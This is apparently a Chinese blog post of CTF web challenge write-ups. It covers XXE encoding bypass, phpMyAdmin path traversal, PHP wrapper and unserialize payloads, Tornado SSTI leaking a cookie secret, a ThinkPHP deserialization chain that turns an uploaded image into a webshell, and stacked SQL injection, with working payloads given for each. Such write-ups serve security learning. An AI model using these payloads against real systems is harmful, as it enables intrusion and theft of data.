div#top_nav { display:none } div#bannerbar {display: none;}

CTF 在线平台 WEBwp

1.web_Unagi

知识点,xxe编码绕过

这道题看到uplaod里面的example,很明显就是xxe了,提示是把/flag 读出来。

 第四个页面告诉我们flag在/flag中

发现上传的是xml,于是自己构造1.xml

 这是我们平常用的xxe,但是这个提示是被过滤了,构造完了之后上传发现被WAF拦截了

 这里通过XXE编码转换成utf-16编码绕过

命令:iconv -f utf8 -t utf-16 1.xml>2.xml

将生成的2.xml文件传上去即可获得flag

 2. facebook products manager

这道题进入页面后也是一脸懵逼,提示的是代码审计,所以先检查源码

就直接用wp里的源码了

源码主要有这么一段,这是操作数据库的

结合页面大概就理清了题目的要求,要我们干什么

里面有这么一个add页面,可以输入名字,密码和描述,简单创建一个

然后在view中输入名字和密码就能看见描述,如下图所示

 现在看源码可以看到名为facebook的描述就是flag

因为有64字节的长度,所以我们名字要大于64字节,就像上面用很多的空格在最后加一个1,已这个作为用户名进行注册,成功注册用户后,我们用facebook作为用户名和刚刚我们设置的密码进行查询

然后成功得到大佬想要flag

 3.warmup 

这个题的前身是一个cve漏洞(phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

开局一张图,先看看页面源码信息

 给出了一个 source.php 应该是后端的源码,这题代码审计了

点开题目,日常f12发现有提示,所以我们进行访问

发现是源代码,让我们进行阅读(分为两块1、主函数部分 2、外部类)

(关于mb_strpos函数在测试时发现如果没有匹配到指定符号,将返回字符串长度)

上面源码中 给出了 两个文件,还有一个 hint.php 没看,访问一下看看

 所以进行目录穿越即可获得flag(ffffllllaaaagggg这里flag被写了四次所以使用4或5个../)

 4.nizhuansiwei

题目源码如下

复制代码
 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 
复制代码

源码分析

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

需要让$text输入 ”welcome to the zjctf“ 传入文件中才能进行后面的步骤, 这里可以用php://input伪协议在以POST形式传入“ welcome to the zjctf "   也可以用data伪协议传参

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

接着看到

复制代码
if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
 
复制代码

直接正则过滤掉flag关键字,提示一个useless.php 用php://filter协议来读取

结合题目构造payload

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

base64解码获得useless.php源码

复制代码
<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  
复制代码

根据源代码在本地获得序列化结果

复制代码
<?php  
class Flag{
    public $file='flag.php';  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
} 
$password=new Flag();
$password = serialize($password);
echo $password; 
?>  
复制代码

结果为

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 

最终的payload为

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:

5.easv tornado
打开题目后,首先发现3个超链接

 依次点开三个链接

 

 

 

网址里有参数filename和filehash推测这里flag应该是

filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(filename))里面,filehash里hash就是提示为md5的hash加密。

 变量 filename 的值总是为要访问的文件,再根据提示三和 filehash 三个不同的值猜测 filehash 的值为MD5加密后的字符串。

  filename知道了,cookie_secret在哪呢?hints提示render

SSTI注入
SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念。

服务端模板:相当于很多公式,根据变量输出结果。这里的模板就是模板引擎根据数据自动生成前端页面。

常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML
注入,代码注入,命令注入等等。sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI也是注入类的漏洞,其成因其实是可以类比于sql注入的。

sql注入是从用户获得一个输入,然后又后端脚本语言进行数据库查询,所以可以利用输入来拼接我们想要的sql语句,当然现在的sql注入防范做得已经很好了,然而随之而来的是更多的漏洞。

SSTI也是获取了一个输入,然后在后端的渲染处理上进行了语句的拼接,然后执行。错误的执行了用户输入。类比于 sql
注入。当然还是和sql注入有所不同的,SSTI利用的是现在的网站模板引擎(下面会提到),主要针对python、php、java的一些网站处理框架,比如Python的jinja2
mako tornado django,php的smarty twig,java的jade
velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。

因为render()是tornado里的函数,可以生成html模板。是一个渲染函数 ,就是一个公式,能输出前端页面的公式。

tornado是用Python编写的Web服务器兼Web应用框架,简单来说就是用来生成模板的东西。和Python相关,和模板相关,就可以推测这可能是个ssti注入题了。
那我们开始初步尝试:

/file?filename=/fllllllllllllag&filehash={{1}}

得到关键报错信息:

模板注入必须通过传输型如{{xxx}}的执行命令。探测方式很简单,给一个参数赋值{{22*22}}返回484则必然存在模板注入。

 但是当我们输入error?msg={{1}}就可以得到回显,说明此处是存在SSTI注入漏洞的。

 当我构造的payload为:error?msg={{2*2}}的时候,回显的结果是orz。因此我们可以猜测出,此处是出现了过滤。

此时我们需要找的是cookie_secret,

此时构造payload:

http://e8d1f189-e498-4c03-9b0f-4eef7c6c671c.node3.buuoj.cn/error?msg={{handler.settings}}
得到提示信息,得到cookie_secret: 7837cb65-a58d-4897-9e1e-efdebe9b75b5

此时的payload应该就是如下通过md5的结果:

file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))

 /fllllllllllllag通过md5加密后:3bf9f6cf685a6dd8defadabfb41a03a1

 **md5(cookie_secret+md5(/fllllllllllllag))**通过md5加密后的结果:77a1d0572298d9f79da44fd36511802c

此时构造payload:

/file?filename=/fllllllllllllag&filehash=77a1d0572298d9f79da44fd36511802c
 回显得到最终的flag{a97dd1f2-6848-4eb9-86b1-c4f2306216c4}

6.upload

打开页面是熟悉的注册登录页面

注册再登录进去,给了个文件上传的口,上传个图片马,查看路径

 一般这种都会有个源码泄露,有时候和SQL挂钩,有时候是反序列化

在dirsearch目录下打开终端输入

python3 dirsearch -u URL -e* -t 20 -x 301,403,429,404,500,501

在根目录下扫出了www.tar.gz

发现是thinkphp框架,一般核心文件在

application->web->controller

这里有四个php文件

里看到user的cookie进行了一个反序列化的操作。

首先访问大部分页面都会调用login_check的方法,先将传入的用户 Profile 反序列化,而后到数据库中检查相关信息是否一致。

Register.php里析构函数里如果注册就直接调用index(),也就是跳到主页。

Profile.php里有 _call 和 _get 两个魔术方法,分别书写了在调用不可调用方法和不可调用成员变量时怎么做。_get 会直接从 except 里找,_call 会调用自身的 name 成员变量所指代的变量所指代的方法。

这两个魔术方法可以利用。

 我是直接上传的png图片没有什么影响,如果上传其他类型的图片马会进行处理,强行把后缀名改成png。

我们的思路是,利用filename_tmp和filename把图片马解析为php文件,怎么才能解析呢,cookie不是可以反序列化嘛,可以把构造完的exp序列化编码后的传入cookie,再访问png文件就可以变成php文件了,再用蚁剑连。具体怎么构造呢,可以进入下面的逻辑,里面既有filename、filename_tmp,还能利用img

 但是需要绕过上面两个判断,只要不赋值,不上传变量就行。

利用_get _call:except里['index'=>'img'](数组)实现一调用index变量就转到img变量,要利用img所在的逻辑只要ext存在就行,因为下面会调用update_img(),所以让img变量等于upload_img()函数,触发_call,正好是这三个逻辑所在的函数,成功顺理成章地调用了。

那如何调用index变量,让registed=false也就是registed不存在就可以进入析构函数所在的逻辑。

 到这里基本就可以构造exp了

 运行结果

TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo3OntzOjc6ImNoZWNrZXIiO2k6MDtzOjEyOiJmaWxlbmFtZV90bXAiO3M6Nzk6Ii4uL3VwbG9hZC9jNDdiMjFmY2Y4ZjBiYzhiMzkyMDU0MWFiZDgwMjRmZC80YTQ3YTBkYjZlNjA4NTNkZWRmY2ZkZjA4YTVjYTI0OS5wbmciO3M6ODoiZmlsZW5hbWUiO3M6Nzk6Ii4uL3VwbG9hZC9jNDdiMjFmY2Y4ZjBiYzhiMzkyMDU0MWFiZDgwMjRmZC80YTQ3YTBkYjZlNjA4NTNkZWRmY2ZkZjA4YTVjYTI0OS5waHAiO3M6MTE6InVwbG9hZF9tZW51IjtOO3M6MzoiZXh0IjtiOjE7czozOiJpbWciO3M6MTA6InVwbG9hZF9pbWciO3M6NjoiZXhjZXB0IjthOjE6e3M6NToiaW5kZXgiO3M6MzoiaW1nIjt9fXM6ODoicmVnaXN0ZWQiO2I6MDt9

base64解码看看

O:27:"app\web\controller\Register":2:{s:7:"checker";O:26:"app\web\controller\Profile":7:{s:7:"checker";i:0;s:12:"filename_tmp";s:79:"../upload/c47b21fcf8f0bc8b3920541abd8024fd/4a47a0db6e60853dedfcfdf08a5ca249.png";s:8:"filename";s:79:"../upload/c47b21fcf8f0bc8b3920541abd8024fd/4a47a0db6e60853dedfcfdf08a5ca249.php";s:11:"upload_menu";N;s:3:"ext";b:1;s:3:"img";s:10:"upload_img";s:6:"except";a:1:{s:5:"index";s:3:"img";}}s:8:"registed";b:0;}

把user的cookie值改成运行出来的编码后的结果,根目录刷新几次,再访问/upload/c47b21fcf8f0bc8b3920541abd8024fd/4a47a0db6e60853dedfcfdf08a5ca249.php就可以发现已经被解析成了php文件,再用蚁剑连接即可。

7.高明的黑客

题目是先下载给出代码

3000多个文件,提示了是黑客,然后结合上面的代码,可以看到里面有GET,POST,exec,eval,assert…但我们不知道哪个是一句话马,所以直接脚本来一个一个的试

 用脚本暴力跑完所有文件的所有参数

req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST

 最后回到题目网站,最后使用payload

xk0SzyKwfzw.php?Efa5BVG=cat /flag

 8.随便注

(1)因为select被过滤了,所以先将select * from ` 1919810931114514 `进行16进制编码

再通过构造payload得

SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

进而得到flag

prepare…from…是预处理语句,会进行编码转换。

execute用来执行由SQLPrepare创建的SQL语句。

SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。

 (2)测试 1' or 1=1 # ,初步判定存在SQL注入。

再测试字段数,到3时报错,说明字段数为2.

 接着尝试union注入,回显了过滤的关键字。

 然后就是今天学会的新姿势“堆叠注入”了。
原理很简单,就是通过 ; 号注入多条SQL语句。

先通过show databases爆出数据库。

0'; show databases; #

 

 然后用 show tables 尝试爆表

0'; show tables

 可以看到这里有两个表,我们先尝试爆words表的内容。

1'; show columns from words; #

然后报表 1919810931114514 的内容。

这里学到一个新知识点,表名为数字时,要用反引号包起来查询。

0'; show columns from `1919810931114514 `; #

 可以发现爆出来了flag字段

posted @ 2023-05-19 09:40  Consciosnes^  阅读(201)  评论(0)    收藏  举报